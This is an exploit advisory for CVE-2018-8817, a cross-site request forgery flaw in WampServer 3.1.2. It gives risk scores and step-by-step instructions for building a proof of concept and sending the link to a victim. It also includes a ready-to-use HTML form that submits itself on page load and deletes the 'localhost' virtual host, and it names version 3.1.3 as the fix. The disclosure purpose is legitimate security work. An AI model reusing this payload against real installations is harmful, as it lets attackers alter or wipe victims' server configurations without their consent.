WampServer 3.1.2 Cross-Site Request Forgery

Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: WampServer 3.1.2 CSRF to add or delete any virtual hostsremotely # Date: 31-03-2018 # Software Link: http://www.wampserver.com/en/ # Version: 3.1.2 # Tested On: Windows 10 # Exploit Author: Vipin Chaudhary # Contact: http://twitter.com/vipinxsec # Website: http://medium.com/@vipinxsec # CVE: CVE-2018-8817 1. Description CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote attacker to force any victim to add or delete virtual hosts. http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722 2. Proof of Concept How to exploit this CSRF vulnerability: 1. Go to Add a Virtual host and add one to wampserver. 2. Now intercept the request with proxy tool like burp suite. 3. Now make a CSRF PoC of the request and to exploit you can host it on internet and send the link to the victim. *Exploit Code for deleting any host remotely:* 1. Copy and paste this CSRF request in notepad and save it as anything.html <html> <body onload="wamp_csrf.submit();"> <form action="http://localhost/add_vhost.php?lang=english" name="wamp_csrf" method="POST"> <input type="hidden" name="virtual&#95;del&#91;&#93;" value="localhost" /> <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost" /> </form> </body> </html> 2. Then run it on your installed vulnerable wampserver. 3. Solution: Update to version 3.1.3 http://www.wampserver.com/en/#download-wrapper

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